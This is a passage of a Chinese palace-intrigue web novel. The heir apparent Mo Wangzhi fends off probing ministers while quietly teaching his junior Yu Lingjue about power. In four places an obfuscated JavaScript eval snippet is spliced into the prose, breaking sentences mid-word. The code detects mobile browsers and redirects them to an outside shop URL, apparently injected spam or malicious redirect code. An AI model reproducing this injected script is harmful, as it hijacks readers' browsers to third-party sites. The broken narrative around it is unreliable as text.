自东宫传出太子病情稳定的消息后,压在玉凌绝心头那块最沉的巨石总算稍稍松动。然而担忧并未就此散去,只是化作了更为绵长而隐忍的牵挂。 废弃宫苑的日子仿佛被拉长了许多。玉凌绝依旧每夜对着那本医书笔记苦读,炭盆里燃着送来的白炭,稳定而温暖,驱散着冬夜的酷寒,却驱不散他眉宇间那抹挥之不去的沉郁。他有时会对着跳跃的火光出神,指尖在书页那些调理心脉,固本培元的方子上反复摩挲,仿佛这样就能隔空抚平那人身上的病痛。 燕沧溟来得更勤了些。她不再总是翻墙,有时会走侧门,带来的不再是边关的烈酒,而是各种据说对调理身体有益的食材药材,有时是一包品相尚佳的枸杞红枣,有时是几块上好的老姜。玉凌绝将这些一一收好,心中暖流涌动。他知道,这份心意,不止是他一人的。 她依旧爽朗,笑声却似乎也敛了几分张扬,看向玉凌绝时,眼神里多了些心照不宣的凝重。偶尔她也会带来一点关于莫忘之的近况,多是只言片语,经由那位可靠的内侍辗转传出。 “能坐起来看书了,就是精神短,看一会儿就乏。” “今日太医署会诊,说脉象平稳了些,但底子亏空得太厉害,得慢慢将养。” “听说胃口还是不好,送进去的膳食动得少。” 这些消息简短,却足以让玉凌绝紧揪了多日的心一点点松弛下来。他不再像之前那般坐立难安,只是每日练武愈发刻苦,那本医书笔记已被他翻得起了毛边,上面除了莫忘之的批注,更多了许多他自已研读后留下歪歪扭扭的疑问与标记。 炭盆里的白炭稳定地燃烧着,散发着持续的热力。殿外呼啸的风声,似乎也一日日缓和下来,不再那般鬼哭狼嚎,偶尔还能听到积雪从屋檐滑落的“扑簌”声。 期间,莫忘之身边那名内侍又悄悄来过两次。一次是送来了几卷新抄录的书册,说是殿下精神不济时口述让人录下的。另一次,则是一小罐晶莹剔透的蜂蜜。 “殿下说,夜里读书若喉干,可润一润。”内侍递过来那罐蜂蜜时,玉凌绝的指尖感受到瓷罐温润的凉意,他只是默默收下,在每一个挑灯夜读的晚上,舀一小勺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105173|195781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 融在温水里,那清甜的味道,总能让他想起雪夜那人递来的糖。 时光便在这样无声的传递与守望中悄然流淌。殿外的积雪渐渐失去了耀眼的洁白,边缘开始泛灰,融化。屋檐下的冰凌开始滴滴答答地融化,在青石板上敲击出清脆的声响。 一日,燕沧溟来时,肩上没有落雪,发梢却带着湿漉漉的水汽。她手里拎着个小布包,打开一看,竟是几支嫩黄的含苞待放的迎春花。 “外头河沟边的冻土松了,这玩意儿竟钻出来了!”她将花枝插在一个缺了口的陶罐里,注入清水,摆在窗台上那点可怜的阳光下,“看着点儿鲜亮颜色,省得你整日对着四面灰墙,人都要闷傻了。” 那抹娇嫩的黄色,在这灰败的宫苑里显得格外夺目,仿佛一下子点亮了沉闷的空气。 玉凌绝看着那迎春花,怔了怔,心头某处似乎也跟着松动了一下。他走到窗边,伸出手指碰了碰那柔软的花苞。 “他……”玉凌绝轻声问,目光仍停留在花苞上。 “那家伙命硬,死不了。”燕沧溟像是在安慰玉凌绝,又像是在说服自己。她又说起边关如何在严冬中维持运转,说起老部下们如何与朝中那些克扣粮饷的蠹虫斗智斗勇,带着沙场的铁腥气,却也透着一股与他如出一辙的,在逆境中求存的坚韧。 不过几日,燕沧溟也要返回边关了。临行前夜她再次翻墙而入,将一个触手冰凉又非金非木的黑色小令牌塞到玉凌绝手里。 “收好了。”她压低声音,眉眼间是难得的郑重,“若有万分紧急,连里头那病秧子都未必能周全的事,就想办法派人去西市‘胡记马行’,找那个脸上带疤的掌柜,亮出这个,他自有办法最快传信给我。” 她用力抱了一下玉凌绝,力道大得让他踉跄了一下。“阿绝,护好自己。”她顿了顿,声音更低,“这京城……要起风了。” 燕沧溟的身影消失在夜色中,仿佛带走了这段难熬的冬日最后一点痕迹。 20. 【贰拾】 冰雪消融,泥土湿润的气息混杂着残冬的冷冽,弥漫在宫墙之间。东宫那边传来的消息愈发稳定,玉凌绝心中那块巨石也渐渐落定。 然而,树欲静而风不止。 这日午后,天色阴沉,带来股黏腻彻骨的春寒。玉凌绝正对着一卷兵书凝神,心头却莫名有些不安宁,仿佛有什么东西在暗处蠢蠢欲动。他想起前两日燕师姐所说的模糊消息,似乎是宫中各势力近来走动频繁,似有异动。 这种不安在听到远处隐约传来,与平日肃静不同的嘈杂脚步声时,达到了顶峰。 他猛地合上书卷,一种不祥的预感攫住了他。几乎是本能驱使,他迅速起身,凭借燕沧溟曾摸清的路径和指点的隐蔽角落,悄无声息地朝东宫方向潜去。 越靠近东宫,那嘈杂声便越清晰。并非喧哗,而是一种带着压抑又官腔十足的寒暄与脚步声,透着一股来者不善的气息。玉凌绝的心沉了下去,他绕到东宫一处平日少人经过的侧院,那里有扇常年锁闭但门扉略有腐朽的角门。他费力地从缝隙中向内窥视。 只见东宫正殿前的庭院中,赫然立着两拨人马。一边是身着法衣,头戴莲花冠,手持拂尘,面容清癯,眼神却锐利如鹰隼,为权倾朝野的国师及其随从。另一边是穿着绛紫色宰相常服,体态微丰,面庞红润,眼神却深沉难测,为外戚之首的宰相与其党羽。 为首的国师与宰相并行,看似和睦,目光偶尔交错间却似有寒冰碰撞。他们身后的随从捧着各式锦盒补品,架势十足。两队人泾渭分明,却又隐隐形成合围之势,将正殿门口堵住。 他们为何会一同前来东宫?探望病情?只怕是黄鼠狼给鸡拜年!他想起莫忘之尚显苍白的脸色,想起他蹙眉忍咳的模样,玉凌绝的心猛地沉了下去。 东宫寝殿外,气氛凝滞。内侍官跪伏在地,声音发颤:“……殿下刚服过药,正歇着,实在不便见客,还请国师大人和宰相大人体谅……” 国师手持拂尘,仙风道骨的脸上带着悲悯众生的浅笑,声音却不容置疑:“正因殿下病体未愈,老夫与宰相大人才更需亲自探望,方显君臣关切之心。莫非……东宫有何隐秘,连我等都不能一见?” 宰相在一旁捋须,肥胖的脸上堆起和煦的笑容,眼神却精光闪烁:“是啊,国师所言极是。殿下乃国之储贰,若有丝毫闪失,我等臣子万死难辞其咎。今日定要亲眼见到殿下安好,方能心安。” 两人一唱一和,语气温和,字字句句却都扣着“君臣”“储贰”“心安”的大帽子,将那内侍官逼得冷汗涔涔,无从反驳。 就在这时,寝殿内传来一阵压抑的低咳,随即是莫忘之略显虚弱,却依旧平静的声音:“……请国师和宰相进来吧。” 内侍官如蒙大赦,连忙起身引路。 玉凌绝已悄然伏在寝殿后窗之下,借着窗纸一道细微的缝隙,屏息向内窥视。 殿内药味弥漫。莫忘之披着外袍,靠坐在榻上,墨发未束,随意披散,衬得脸色愈发苍白。他见二人进来,勉力想要坐直,却又引来一阵轻咳,他以袖掩唇,肩头微颤,好一会儿才平息下来,整个人仿佛只剩下一副支撑着太子衣冠的脆弱骨架。 “殿下气色看来仍是不佳,真令老臣等忧心不已。”宰相率先开口,声音温和,话语里的关切却如同包裹着棉布的针,“陛下亦十分挂念,特命我等前来探望。殿下乃国之储贰,玉体安康关乎社稷,还需善加保重才是。”他目光似无意般扫过殿内略显清简的陈设,最终落在莫忘之毫无血色的脸上,细细审视。 国师冷哼一声,声音带着金石般的冷硬:“区区风寒,竟缠绵病榻月余?殿下莫不是心有所虑,郁结于心,以至病体难愈?若是宫中有人伺候不周,或是有那起子小人作祟,殿下尽管直言,老臣定为殿下清理门户!”他话语直指巫蛊风波后未清的余孽,字字诛心。 一柔一刚,一个以关怀为名行施压之实,一个以清查为幌暗藏杀机。 窗外的玉凌绝指甲深深掐入窗棂,木屑刺入指腹也浑然不觉。他紧盯着榻上那人,仿佛能隔空替他承受这字字诛心的逼迫。 “劳烦……国师与宰相亲临,”莫忘之的声音低弱,断断续续,带着久病之人的气虚,“孤……染恙在身,未能远迎……失礼了。”他微微颔首,姿态放得极低,全然不见平日的清冷。 国师拂尘轻摆,声音空灵却带着无形的压力:“殿下此次病势缠绵,恐伤元气。贫道近日偶得一方,采集天地灵气,或可助殿下固本培元,早日康健。”说着,示意身后道童奉上一个锦盒。 莫忘之抬眼,目光平静地掠过那锦盒,随即落在国师脸上,语气温和却疏离:“有劳国师……太医署用药颇为精心,孤……不敢劳动仙方。”他婉拒得滴水不漏,甚至恰到好处地流露出几分对太医署的依赖。 国师目光如电,在那张过分平静的脸上逡巡,试图找出任何一丝伪装的裂痕。他快步上前,脸上堆满忧色,语气带着长辈般的关切,却字字敲打在要害:“殿下万万不可轻忽!如今朝中事务繁杂,诸多决策还需殿下示下。若殿下久病不愈,恐生变故,令宵小之辈有机可乘啊!”这话已是暗讽太子若一直病着,地位堪忧。 莫忘之垂着眼睫,长睫在苍白的脸上投下淡淡阴影,掩去所有情绪。他只低声道,气息愈发微弱:“有劳二位挂心。孤……养些时日便好。朝中事务,有父皇圣心独断……有二位肱骨大臣辅佐,孤……甚是安心。”他将自己置于绝对弱势,仿佛一只引颈就戮的羔羊。 宰相呵呵一笑:“殿下谦逊了。只是……老臣听闻,殿下此次病中,似有宫人伺候不尽心?以致殿下需亲自劳神,甚至……”他话语轻柔,却陡然锐利,“动用了一些宫外之物?”这话字字却如冰锥,暗指之前燕师姐雪中送炭之事,示威般展示其情报网之深。 窗外的玉凌绝呼吸一窒,心脏几乎停跳。 莫忘之闻言,脸上不见丝毫波澜。他轻轻咳了两声,才虚弱地回应:“宰相消息……灵通。不过是下面的人……一时疏忽,些许小事……已然处置了,岂敢……劳烦宰相过问。”他将那险些掀起波澜的“宫外之物”轻描淡写地拂去,如同掸落一粒尘埃。 国师眸光一闪,声音愈发飘忽,带着森然冷意:“殿下仁厚。只是,宫中规矩森严,内外之别,不可不慎。尤其殿下乃万民表率,更需谨言慎行,以免……落人口实,徒惹非议。”这已是赤裸裸的警告与威胁。 殿内空气凝滞,无形的杀机在药香中弥漫。 “国师……教诲的是……”莫忘之微微欠身,语气甚至带上了恰到好处的感激与受教,像个虚心接受长辈训诫的孩子,“孤……记下了。日后定当更加谨守宫规……不负父皇与二位大人期望。” 国师与宰相交换了一个眼神。国师忽又开口,声音压低,带着飘忽的试探:“老夫近日夜观天象,见紫微星旁有晦暗之气缠绕,恐于东宫不利。殿下此番病得蹊跷,莫非……是宫中有什么不干净的东西,冲撞了殿下?” 此言一出,空气几乎冻结。“不干净的东西”?这轻飘飘的几个字,可做的文章就太大了,完全足以再次将东宫拖入万劫不复的深渊。 国师拂尘一甩,目光如毒蛇信子,舔舐过莫忘之瘦削见骨的手腕:“殿下气色不佳,似有邪风入体,甚至邪祟缠身之兆,恐有小人作祟,冲撞了东宫清气。殿下若需斋醮祈福,贫道愿效犬马之劳。” 话语恶毒,直指巫蛊旧事,更将“病弱”与“国运不昌”隐隐挂钩。 莫忘之听罢猛地掩唇,爆发出一阵撕心裂肺的呛咳,直咳得眼尾泛红,眸中水光潋滟,再抬眼时,只剩一片受惊后的茫然与无助:“国师……何出此言?孤居于东宫,守卫森严,何来……不洁之物?莫非……是有人欲对孤不利?”他将一个被吓到惶惑不安的病弱太子形象演绎得淋漓尽致。 宰相忙打圆场,面上忧色更重:“国师也是关心则乱,殿下莫要多想!只是殿下之疾,确实令人忧心……”他话锋陡转,图穷匕见,“不知殿下近日饮食用药,可还妥帖?需不需要老臣再派几个得力人手过来伺候?” 这已是明目张胆要安插眼线。 莫忘之虚弱地摇头,动作间带着浓重的疲惫,气息急促:“不必……劳烦宰相……东宫人手……尚可应付。”他顿了顿,似乎连说话都费力,“孤……有些乏了……” 送客之意,已十分明显。 国师与宰相见他确实是一副油尽灯枯不堪重负的模样,言语间也探不出更多破绽,虽心有不甘,却也只得起身告退。临走,宰相意味深长地看了莫忘之一眼:“殿下好生休养,老臣改日再来看望。” 一行人浩浩荡荡离去。 寝殿内重归死寂。 莫忘之保持着靠坐的姿势,一动不动。直到那脚步声彻底消失在宫道尽头,他脸上那脆弱无助的神情,如同冰雪消融般迅速褪去。嘴角微微向下撇了撇,露出一丝讥诮。那双总是平静无波的眸子里,倏然掠过寒刃般的厉色,转瞬即逝。 他一直挺直的脊背终于松弛下来,靠在引枕上闭目深深吸了口气,眉宇间染上浓重的疲惫。他方才的应对看似从容,实则每一句都耗神费力。压抑许久的真实的呛咳忍不住汹涌而出,比方才表演时更凶险数倍,苍白的脸颊因窒息泛起不正常的潮红。 “师兄!”玉凌绝再也无法忍耐,自后窗翻入,疾冲至榻前,扶住他颤抖不止的肩膀,将一直温着的茶水递到他唇边。 莫忘之就着他的手急促地吞咽了几口,咳嗽才渐渐平息。他睁开眼,看到满脸焦灼与未曾消散的怒意的玉凌绝,眼中露出些许无奈。 “你……”他声音沙哑,带着责备,更多的却是深沉的无奈,“怎么……又不听话……” 玉凌绝看着他唇角拭去后又隐隐渗出的血丝,看着他强撑之后连指尖都在细微颤抖的虚弱,心头如同被滚油煎灼。 “他们……该死!”他从齿缝里挤出这几个字,声音低沉,却带着淬毒般的恨意,仿佛要将那两人的名字在齿间碾碎。 莫忘之疲惫地阖上眼,没有回应那沸腾的杀意,只是轻轻地摇了摇头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105174|195781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “阿绝…”他唤他,声音轻得像叹息,却重重砸在玉凌绝心上,“愤怒,是这深宫里……最无用的东西。” “他们今日所求……不过是一个借口。一个能坐实我,‘不堪大任’…‘巫蛊之子’的罪名。”他的语气平静得近乎残忍,像是在剖析一具与己无关的尸体,“如此,便可名正言顺地废黜,甚至……赐死。我若动怒,便正中其下怀。” 玉凌绝明白,这是最理智的选择。可明白道理,不代表能平息情绪。那被强行按压下的怒火与屈辱,依旧在他四肢百骸间冲撞灼烧。 “可是……他们……那样折辱你……”他声音很低,带着连自己都憎恶却挥之不去的脆弱。 但莫忘之没有看玉凌绝,目光落在庭院中一株新发的嫩芽上,仿佛那比刚才的滔天权势更有意义。 然而,下一秒,他却抬起手,不是拂去灰尘,而是用微凉的指尖拂过玉凌绝紧蹙的眉心,仿佛要将那深刻的褶皱抚平。 “…说几句,掉不了一块肉。受些折辱,也死不了人,能伤人的从来不是几句轻狂之言。真正的折辱……是剥夺你说话的权利,是碾碎你在意的一切,是让你连愤怒的资格都没有,甚至……都没有选择死亡的自由。”他的动作轻柔,与口中冰冷的言辞形成鲜明对比,带着一种玉石相击的冷冽与清晰。 他的指尖顺着玉凌绝的眉骨,缓缓滑至他的太阳穴,像一个引导者,指引他思考的方向。 “愤怒无用,但记住愤怒的滋味有用。痛苦无用,但记住痛苦的来源有用。”他的声音近乎耳语,却带着千钧之力,“你要学会掌控它们,而不是被它们掌控。记住今日之辱。” 玉凌绝浑身一震,只觉得那按在他太阳穴的指尖,仿佛一道冰流,又似一道烙铁,将他所有的混乱与委屈瞬间冻结锻打。一股前所未有的寒意与清明,同时席卷了他。 他僵立在原地,脸上残留着对方掌心的力度和温度。而莫忘之的话语已经穿透了厚重的宫墙,飘向了更遥远的,玉凌绝此刻还无法看清的棋局。 空气中似乎还残留着国师与宰相带来的威压,以及莫忘之身上那挥之不去清冽而苦涩的气息。玉凌绝看着对方近在咫尺又平静无波的脸,另一股难以描述的心情却莫名涌上心头。 “……那你呢?”玉凌绝的声音冰冷,“你就……一点都不愤怒…不记住这种感觉吗?” 莫忘之闻言,微微怔了一下,似乎没想到他会反问自己。 “记住?”他轻轻重复了一遍,目光似乎透过玉凌绝,看到了更遥远而不为人知的过往,“这些东西……早在很久以前,就不值得在乎了。” 话音落下,一阵穿堂风恰好掠过庭院,卷起几片落叶,打着旋儿落在两人之间。莫忘之的目光追随着那片落叶,直至它归于尘土,再无动静。 “不在乎?”玉凌绝下意识地重复,心头像是被冰锥刺了一下,比愤怒更深的寒意弥漫开来。如果连受辱都不在乎,那自己的坚持与痛苦,在对方眼里又算什么?那人说得那样轻描淡写,甚至顺手理了理自己微乱的袖口,仿佛刚才那场足以定人生死的逼迫,不过是袖口沾染的一点尘埃。 可就随后刹那,玉凌绝猛地伸手,一把死死攥住了他的手腕。那力道极大,带着少年人全部的愤懑与不甘,指尖几乎要掐进对方的骨肉里。 “我在乎!”玉凌绝从齿缝里挤出这三个字,青黑色的眸子里像是燃着幽冷的火,“他们这样对你……我在乎!” 莫忘之顿住。他垂眸,视线落在自己被人紧紧攥住的手腕上,那里很快泛起一圈红痕。他没有挣脱,只是缓缓抬起眼,静静地看向玉凌绝。那目光里没有责备,没有惊讶,只有一片近乎悲悯的平静。 这平静比任何愤怒的斥责都更让他难受。玉凌绝像是被烫到一般,猛地松开了手。 “……是的,你在乎。”他看着玉凌绝,目光似乎终于从遥远的虚空落回了眼前真实的为他而痛的少年身上,“阿绝,你的愤怒,我收到了。” 他的声音低沉下去,带着一种蛊惑般的意味,像在玉凌绝心上刻下烙印,“你可以把我的不在乎,当作你愤怒的鞘。记住他们今日的嘴脸,记住这无能为力的感觉。然后,把这一切,连同你此刻的愤怒,都锻造成你未来的剑。” 他伸出手,指尖轻轻拂过玉凌绝紧攥的拳,一个近乎无声的告诫:“只是现在,藏好它。因为能让仇敌痛苦的,从来不只有愤怒,而是你最终……站在他们永远无法企及的位置上,刺向他们之时。” 他顿了顿,后面的话消散在风里,但玉凌绝已经懂了。 莫忘之收回了手,仿佛刚才那片刻的逾矩与流露从未发生。暮色开始四合,将他的侧影勾勒得愈发孤寂。 “回去吧。”他淡淡地说,“起风了。” 玉凌绝站在原地,看着他的侧影,没有再说话。 春风拂过庭院,带来花草清香,却吹不散这宫闱深处弥漫的权谋硝烟与森然恶意。 冰雪消融,蛰伏的毒蛇,却也纷纷出洞了。 21. 【贰拾壹】 自那日国师与宰相“探病”之后,东宫仿佛真的成了一潭深不见底的静水,再无波澜。莫忘之的病依旧缠绵,宫门紧闭,隔绝了外间所有窥探的视线。 玉凌绝虽不再像之前那般胆战心惊,但那颗悬着的心却从未放下。他依旧每夜在冷宫废弃的院落里苦读练武,只是目光总会不自觉地飘向东宫的方向,带着难以掩饰的焦灼。 这夜,乌云滚动,豆大的雨点毫无征兆地砸落下来,顷刻间连成一片雨幕。玉凌绝在废弃宫苑的破殿里,听着窗外哗啦啦的雨声,白日里强压下的焦躁与那日莫忘之抚过他眉心的画面再次不受控制地翻涌上来。他胸口憋闷得厉害,仿佛也被这黏稠冰冷的雨夜扼住了呼吸。 鬼使神差地,他再次如同暗夜里的影子,悄无声息地潜近东宫。 他没有进去,只是伏在处能望见寝殿廊下的飞檐阴影里。雨势滂沱,将天地笼罩在一片混沌之中。 然后,他看见了。 莫忘之也并未安寝。他独自一人,只穿着素色中衣,外袍随意搭在臂弯,正静静立于廊下,望着被暴雨疯狂冲刷的朱红宫墙与琉璃碧瓦。 一道刺目的闪电撕裂夜幕,瞬间将天地照得亮如白昼,也清晰地照亮了廊下那人沉静的侧脸。没有病弱,没有隐忍,没有平日的疏离浅笑,只有一种,似乎在回忆什么的悲哀。雨水裹挟着凉风扑上廊柱,溅湿了他的衣摆,他却浑然未觉。 玉凌绝的心猛地一沉。他见过莫忘之许多面目:温和的,疏离的,病弱的,算计的,却从未见过如此……仿佛剥离了所有情绪,只余下纯粹空壳的模样。这比病容更让他心悸。他忽然觉得,眼前这个人,似乎随时会融进这雨夜,消散于无形。 各种猜测与担忧在他心中翻滚,让他几乎忘了自己身在何处,只是死死盯着那道身影,仿佛想从他挺直却难掩清瘦的背脊上看出些许端倪。 或许正是这份过于专注而几乎凝成实质的视线,惊动了廊下之人。 “东宫的墙,就这般喜欢爬?” 清淡的嗓音忽然响起,惊得玉凌绝浑身剧颤,险些从湿滑的檐上失足。他猛地回神,只见莫忘之不知何时已转向他藏身的檐下,目光清醒地看着他,脸上方才那复杂的神情已消散无踪,只剩下浓浓的无奈与了然。 他抬手揉了揉眉心,声音带着病后初愈的低哑:“还是你觉得,我这病榻之前,缺个守夜的石狮子?” 玉凌绝抿紧唇,黑沉的眸子在雨夜中闪烁,倔强地移开了目光,心头却因对方话语里那点未曾掩饰的关切而泛起酸涩的暖意,随即又被更大的窘迫淹没。 莫忘之看着他这副油盐不进的模样,终是叹了口气,“罢了。”他闭了闭眼,再睁开时,已恢复了惯常的冷静。“今夜雨大,就宿在偏殿吧。” 他的声音听不出什么情绪,不是商量,而是陈述。说完,便径直向殿内走去,步履比平日稍慢,像是刻意在等他。 玉凌绝喉咙发紧,想拒绝的话在舌尖转了一圈,又被一声骇人的雷鸣砸了回去,只能沉默地跟上了那道背影。 偏殿静室,陈设简雅,甚至……熟悉。空气中弥漫着淡淡的药香和墨香。莫忘之将他引至内间那张宽大的床榻边,正是当年他救下玉凌绝后,让他休息的地方。 “歇着吧。”莫忘之说完,便自然地走向对面那张用于小憩,对于他身量而言略显短小的矮榻,拂了拂衣摆,和衣侧躺下去,背对着玉凌绝的方向,拉过一旁的薄衾随意搭在身上,不再言语。 玉凌绝站在原地,看着那张床榻,恍然间仿佛回到了那个改变命运的雪夜,一时有些无所适从。 “等雨小些……”他试图说些什么。 “天亮前离开。”莫忘之背对着他,声音带着倦意,却不容置疑。 玉凌绝只好在那张熟悉的床榻上躺下。身体的疲惫很快袭来,他闭上眼睛,陷入浅眠。 然而,安稳并未如期而至。 雷声再次轰鸣,如同重锤砸落。 冰冷的雨水从腐朽的梁栋缝隙漏下,滴落在母亲苍白得毫无生气的脸上。他蜷缩在角落,看着母亲那只无力垂落而早已冰凉的手。 外面是撕裂天空的闪电和仿佛要踏碎宫殿的雷鸣。母亲的双眼至死未能完全闭合,空洞地望着破败的屋顶,每一次闪电亮起,都清晰地映出她临终前痛苦而不甘的轮廓。 玉凌绝猛地惊醒,额上沁出冷汗,呼吸急促,黑暗中仿佛还能看见母亲那双不甘的眼。 又一连串的炸雷接踵而至,仿佛天穹破裂。他指节捏得发白,几乎能听到自己血液冲刷耳膜的声音,混合着记忆中母亲微弱而被雷声吞没的最后喘息。 他下意识地望向矮榻方向,却直直撞入一双清醒的眸子。 莫忘之不知何时已转过身,正静静地看着他。对方脸上没什么表情,只是那双眸子在跳动的烛光下,似乎比平日深邃了几分,仿佛看穿了他此刻强行镇定的表象下,那翻江倒海的惊悸与痛苦。 他什么也没问,只是缓缓坐起身,走到窗边,将那被震得微微颤动的支摘窗仔细关紧,落栓,将喧嚣的雨雷声隔绝得稍远一些。然后,他走到灯台旁,耐心地将有些摇曳的灯芯拨亮,温暖稳定的光晕驱散了些许由雷声带来的阴霾。 做完这些,他才转身,目光扫过玉凌绝依旧略显苍白的脸和紧抿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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窗外雷声依旧,却再也无法震碎他的心神。他能感受到身旁之人似乎微微顿了一下,呼吸有瞬间的凝滞,但最终并没有动,也没有推开他,仿佛默许了这无声的依靠。 在这无声的默许和背脊传来的微弱暖意中,玉凌绝紧绷的神经终于彻底松弛下来。他闭上眼,任由那令人安心的气息将自己包裹。 在他沉沉睡去后,莫忘之在闪电映亮室内时,缓缓睁开了眼睛。他听着身后均匀的呼吸声,感受着背上那一点轻微地依赖的重量,许久,才几不可闻地吁出一口气。 直至天色将明未明,雨势渐歇,他才悄然起身,为对方掖好被角,如同融入晨雾般悄然离去,仿佛昨夜种种,不过是一场心照不宣又被雨水浸湿的幻梦。 22. 【贰拾贰】 几日后,那名心腹内侍再次悄然而至,带来的并非书卷,而是一套东宫低阶内侍的服饰,和一枚出入禁苑的普通腰牌。 “殿下说,”内侍声音平缓,“若小公子闲来无事,可至东宫偏殿后的书阁……整理典籍。那里僻静,灰尘也多,正缺个细心人手。” 玉凌绝愣住了,他盯着那套灰扑扑的衣物,瞬间明白了莫忘之的用意——为他造一个最不起眼的身份,让他能光明正大地行走于东宫外围。 他沉默地接过衣物,指尖拂过粗糙的布料,心头却涌上一股复杂的暖流。这是一种无奈的妥协,更是那人于病中仍在为他费心筹谋的证明。 次日,他便换上了那身内侍服,低眉顺眼地跟着引路的宦官,第一次在日光下从正门踏入了东宫的范围。他被引至处确实偏僻又人迹罕至的书阁,那里蛛网暗结,书卷蒙尘,是个再好不过的掩护。 起初几日,藏书阁里静得只听见尘埃落定的声音。玉凌绝心无旁骛,只是真正在整理书册,将散乱的典籍一一归位,拂去积尘。莫忘之并未现身,仿佛将他遗忘于此。 然而,玉凌绝很快察觉到了异样。一些书被特意放置在显眼处,并非艰深经义,多是边防舆图,河道水利,钱粮赋税论述,甚至有几卷看似杂乱的私人手稿,上面是莫忘之随手写下的札记,对历史事件的点评角度刁钻,一针见血。 他蓦然明了,这也是课业的一部分。一种无声的教导已然开始。 于是,在这间弥漫着陈旧书卷与霉味的寂静阁楼里,教学以一种全新的方式延续。玉凌绝埋头故纸堆,将那些枯燥文字与莫忘之过往的提点相互印证,试图拼凑出权力运作的真实图景。 莫忘之偶尔会来。他披着素色外袍,脸色依旧苍白,脚步轻得像猫,往往等到他投下阴影,玉凌绝才惊觉他的存在。他并不常开口,有时只是静静看着,在玉凌绝蹙眉时,用微凉的指尖点一点书页上某个关键词句;有时,他会就着某段尘封记载,声音低缓地剖析其后的权力更迭与人情诡诈,语气平淡得像在讨论天气,内容却冰冷刺骨。 “读史并非为了效仿,而是为了看清。”一次,他指着一段前朝名将晚节不保的记录,淡淡道,“人心易变,欲壑难填。今日之忠臣,未必不是明日之祸首。你要学会看的,是时势如何逼人,利益如何动人。” 他的教导愈发侧重于“人”与“势”,而非单纯的“术”。 期间并非全无风险。一次,玉凌绝正对着一幅北境舆图出神,外间忽传来巡查宦官的脚步声与谈笑。他心头一紧,正欲隐匿,却见原本靠坐在窗边闭目养神的莫忘之倏然睁眼,递给他一个冷静的眼神,随即拿起手边典籍,若无其事地走到门边,恰好与那几人撞见。 “殿下?您怎么在此……” 莫忘之掩唇轻咳,语气带着恰到好处的病弱与不悦:“孤寻几本旧书静心,此地也难得清净么?” 那几人连道不敢,仓皇退走。玉凌绝在书架后屏息,听着那人三言两语化解危机,手心沁出薄汗。莫忘之转身回来,眼中并无责备,只有早已料定的淡然。 “怕了?”他问。 玉凌绝抿紧唇,默默摇头。 “记住这种感觉。”莫忘之轻轻拍了拍他的肩,“日后你立于人前,比此刻凶险百倍。镇定,是唯一的生路。” 随着夏日渐深,莫忘之的气色似乎好了些许,他脸上的苍白褪去,唇上有了淡绯,咳嗽声不再那般撕心裂肺,只是指尖依旧带着些许凉意,来的次数也多了些。 教学场所不再局限于书阁。他们偶尔会在东宫最僻静的一角小园散步,莫忘之会指着园中草木,说起其习性药用,乃至在各地舆志中象征的意义;也会在偏殿点燃灯烛,与玉凌绝对弈一局,在黑白交错间,传授他“势”与“地”的取舍。 一次夏夜雷雨过后,空气清新。两人在小园中漫步,莫忘之指着被雨水打落一地的残花,忽而问道:“若你欲清扫此园,是该先拾起落花,还是先修剪枝桠?” 玉凌绝沉思片刻,答道:“落花易拾,不过是表象。枝桠过繁,方是根源,来年依旧会落花满地。” “不错。”莫忘之停下脚步,望向被雨水洗刷得碧绿的宫墙琉璃瓦,“宫中之弊,亦如此理。揪住一两个落花般的小角色大动干戈,徒耗精力,动不了根本。需得看清,是哪几根枝桠盘根错节,遮蔽了天光,夺走了养分。” 有时,他还会带来一些意想不到的教具。 “试试这个。”莫忘之递过一个构造精巧的袖弩,仅有巴掌大小,“燕师姐着人送来的,军中新制,力道尚可,便于隐藏。”他指导玉凌绝如何上弦,如何瞄准,如何在最短时间内击发。“力量并非只有刀剑一种形式。于无声处,亦可雷霆一击。” 更多的时候,是看似随意的闲谈。夏夜闷热,两人在竹林边纳凉,莫忘之会说起各地风物,某地官员的为官风格,或是某家勋贵后院的隐秘轶事。他说得云淡风轻,玉凌绝却听得专心。这些看似无关的碎片,拼凑起来,正是那张权力关系网上一个个鲜活的人,也是他未来必须面对的对象。 时节悄然滑入夏末。这日,玉凌绝正欲退下,莫忘之却叫住了他。 “这个,你拿着。”他递过枚不起眼的木质腰牌,上面刻着简单的纹样和内务府的印记,“日后出入宫禁,行走各司,会方便些。” 玉凌绝接过腰牌,指尖触及木质温润的纹理。这不是临时凭证,而是一个有着正式记录,可以长期使用的身份。这意味着,他不再完全依附于东宫的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 